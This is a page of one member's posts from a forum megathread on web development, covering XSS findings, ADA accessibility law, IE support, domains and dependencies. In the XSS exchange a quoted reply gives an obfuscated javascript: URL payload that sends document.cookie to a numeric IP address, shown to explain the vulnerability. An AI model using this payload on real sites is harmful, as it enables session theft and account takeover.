The Web Design & Development Megathread

The Something Awful Forums > Discussion > Serious Hardware/Software Crap > The Cavern of COBOL > The Web Design & Development Megathread

«‹›9 »

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

If you're on Chrome, you can make a second user that won't share cookies. Dunno if FF ever got that, though.

# ¿ Jun 18, 2019 19:41

Adbot: ADBOT LOVES YOU

# ¿ May 9, 2024 07:55

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Veracode is telling me that

JavaScript code:

$('#someElement').attr("href", dataFromXhr.url);

is an XSS vulnerability. Now I see how you could do CSRF by loving with href, but not XSS. Am I not thinking of something or is Veracode just flagging any and all use of unsanitized data from an XHR as potential XSS?

# ¿ Jul 5, 2019 16:10

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Lumpy posted:

What if your data returns ��><script>...</script><a href=�#� or something fun like that.

jQuery dutifully shoves it into the attribute value via a DOM object. I've seen attribute values abused to store document fragments before and that worked on eg. IE 6, so I think I know that's safe, though I suppose I don't know about all browser quirk workarounds across all versions of jQuery.

# ¿ Jul 5, 2019 16:46

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Biowarfare posted:

returned data:

code:

javascript:window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"].location=`//1572395042/?x=${document.cookie}`

ah JavaScript URLs - haven't thought about those in years

# ¿ Jul 8, 2019 14:39

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

uncle blog posted:

So I made this tiny React app that doesn't use any external resources. Whats the best/easiest way to get it online?

Edit: With NPM / create-react-app.

Does that mean there's no DB or no NPM modules or what?

# ¿ Aug 27, 2019 14:45

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

The Merkinman posted:

Compliant to what? Section 508? WCAG? A, AA, AAA?

We'll find out through the magic of litigation :gifttank:

That, in case you or anyone else don't know, is how the system is supposed to work, unfortunately.

e: the "unfortunately" there does not mean that I think making websites accessible is bad - I actually am really glad Domino's lost - just that courts in the US never tell you what would be acceptable because they want people to discover it with further litigation where experts are supposed to argue with each other over minutae

Munkeymon fucked around with this message at 17:01 on Oct 8, 2019

# ¿ Oct 8, 2019 16:58

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Thermopyle posted:

If I understand correctly the ruling is limited to places with a physical location accessible to the public.

(even if that doesn't apply to you, you should still work on being accessible)

Oh, is that required to sue under the ADA or something?

# ¿ Oct 8, 2019 19:07

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

CarForumPoster posted:

Its required that the place be a public accommodation as defined by the ADA. The first question on this page does a good job of describing what that is: https://www.eeoc.gov/facts/adaqa2.html

A decent laymans rule of thumb is: Can I go to it for some service without an appointment? E.g. I can pay a bill at a dentists office without an appointment, so it's probably a place of public accommodation under the ADA.

Yeah, but I, being a layman who grew up with internet access, would just assume any website I can access a "public accommodation" so the physical location requirement is surprising. Does this mean Ally that, IIRC, is an online-only bank with no branch locations, is immune from the ADA? I assume we can't know until some similar business is sued and fights it.

# ¿ Oct 9, 2019 17:27

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Roadie posted:

Mandatory arbitration means class action lawsuits are now de facto impossible for most people and small businesses.

This has nothing to do with ADA compliance HTH

# ¿ Oct 11, 2019 14:25

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Thermopyle posted:

But...the guy right before recommended a class action suit.

Yeah but nobody makes users click through accepting a contract before seeing a site. It's basically an absurd non-sequitur.

# ¿ Oct 11, 2019 20:30

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

HappyHippo posted:

The suggestion was that franchise owners who don't control the website sue the brand owner through class action.

Ah, my bad then.

# ¿ Oct 14, 2019 14:29

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Deciding whether to drop IE support is basically the same as deciding when to optimize code: look at your telemetry and make a decision to do it based on a simple cost-benefit analysis.

# ¿ Oct 29, 2019 15:45

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Ours cite compatibility with shittyier old software

# ¿ Oct 30, 2019 20:59

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Lumpy posted:

Yep. "We use ___ so we have to use Windows Ancient Edition� and so we have to use IE __"

That middle bit is an excuse to avoid the cost of upgrading unless they need IE < 11 because Windows 10 comes with IE 11.

Bruegels Fuckbooks posted:

hahaha "activex finally went away"

i've checked bug fixes and poo poo in to six different activex controls within the past year.

meanwhile chrome updates and nobody who runs norton and windows 10 can open google chrome for a day until people figure out that norton fucks the new chrome.

I fixed an ActiveX integration issue earlier this year :buddy:

Also, that's a problem with poo poo (all third party) AV, not Chrome

# ¿ Oct 31, 2019 14:11

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Skyarb posted:

I am going to be needing a domain name soon. I always use namecheap and plan on continuing to do so but what I am wondering is how the gently caress I get a good memorable and short domain name. I see a lot of .io's these days, is that the way to go? Unfortunately everything in the .com has been taken or is squatted on in terms of memorable or snappy domain names.

What are most people doing these days to get actual good domain names (if not shelling out tons of money)

Maybe check out all the zany new TLDs?

# ¿ Dec 6, 2019 15:39

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

The documentation says the match patterns are ECMAScript/Perl compatible, which is a little confusing, but I think is referring to the syntax rather than the supported feature set. Either way, http://*.* should match "http://" just as well as http://.*.

I'm not familiar with EBS but maybe something like a load balancer is sitting in front of the server, unwrapping TLS and forwarding the stream on as HTTP? That'd make the Too Many Redirects error make sense.

# ¿ Feb 12, 2020 16:48

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

CarForumPoster posted:

I am going to be using several APIs to enrich data about addresses like Yelp, Google Places, Zillow, etc. I won�t always use all of them and there�s probably 40 or so sources being queried cumulatively ~4000/day.

Some of them cost money and addresses often repeat between days. What�s the current best practices for storing the data. Likely using a mix of cron job python scripts and FastAPI webhooks

If you're caching API results, a document database would be OK and probably pretty cheap. Heck, you may even be able to get by with some file/blob storage in that case.

# ¿ Jun 10, 2020 14:15

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Mira posted:

Is there a site with Javascript puzzles for total dumbass beginners like me?

https://leetcode.com/ is probably the most popular right now

# ¿ Aug 6, 2020 14:05

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

kedo posted:

Just lol if 100% of your user engagement isn�t through TikTok for Business.

FTFY

# ¿ Aug 28, 2020 14:47

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

I've looked at the forums CSS and immediately regretted it so I'm not feeling especially keen on janitoring my own bespoke version.

# ¿ Dec 3, 2020 17:16

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Chenghiz posted:

Since nobody else said anything: if your production database is deadlocking due to development applications, that means your development applications are reading from production tables, which is a **huge red flag**.

If you can't actually tell what applications are causing the deadlocks, you should be making sure that each application connects as a different user so that you can see what applications are deadlocking and who the victims are.

And **never** run development applications on live production data! If your boss is concerned about MSSQL licenses, at least run development off a different database on the same server. You might also consider using SQL Express in development without worrying about licenses, depending on your database's RAM needs.

IIRC you can use any version of SQL Server for development/testing purposes without buying a license but, also, I don't think the licenses are per DB, so it should be safe to just make a test database on the same server, preferably with a different login. Of course, the CMS software might care about how many databases it's deployed on so that might be where they're pinching pennies.

# ¿ Dec 28, 2020 19:39

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Vincent Valentine posted:

I've heard a lot of good reasons to avoid dependencies unless you really, truly need to. A few:

Installing a package means keeping that package up to date. Many teams will not have time to fix breaking changes caused by a package update, and those updates are required because security issues are updated in newer versions. I know from experience from all that poo poo I posted earlier, dealing with security in outdated packages is a nightmare.

When you install a package, you're installing every package that package has ever kissed. That means something going fucky in a dependencys dependency you didn't even know you had is a cause for concern, but you may not know it. Newer npm audit has helped this a lot, thankfully.

The Leftpad Incident™.

Bundle sizes may not matter to most people, but five percent or so people unable to reliably use your app is five percent revenue lost. This is particularly a problem for companies that create products or services for the poor or people in developing nations.

Remember that time that popular npm package installed a bitcoin miner on everyone's website and nobody knew?

And so on. The reasons are good, and strong, valid reasons to avoid dependencies. It's sure as gently caress not going to stop Personal Me, but it stopped my boss which means it's stopped Work Me. I think packages are great and The Future, but I really wish we could address more if the problems with them. Before it gets out of hand, again .

All bets are off with Dev Dependencies though. When it comes to those, gently caress it, go nuts.

I work for a company that mandates security reviews of dependencies that don't come from trusted vendors, so there's that, too.

# ¿ Feb 1, 2021 20:44

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

The polyfill is the thing you use if you don't have native support

You'll also probably need a priest to do an exorcism and a therapist for after it's all over

# ¿ Feb 25, 2021 21:37

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Good Sphere posted:

Thanks! I had no idea it was called OAUTH.

Thank you. I�m not using any particular framework. Just my own Javascript and PHP.

You'll probably want to use an existing library and save yourself some work, then https://oauth.net/code/php/

Unless you really want to learn how OAuth works, in which case goonspeed to you

# ¿ Mar 24, 2021 14:49

Adbot: ADBOT LOVES YOU

# ¿ May 9, 2024 07:55

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Grump posted:

Linode is unmanaged but has a managed service which is $100/mo per server on top of the normal hosting costs

That sounds a lot like a "we want to eliminate this product" price point

# ¿ May 7, 2021 15:30

The Something Awful Forums > Discussion > Serious Hardware/Software Crap > The Cavern of COBOL > The Web Design & Development Megathread

«‹›9 »